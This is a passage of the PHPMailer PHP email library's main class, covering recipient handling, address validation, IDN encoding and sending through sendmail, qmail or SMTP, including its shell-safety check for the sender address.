     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
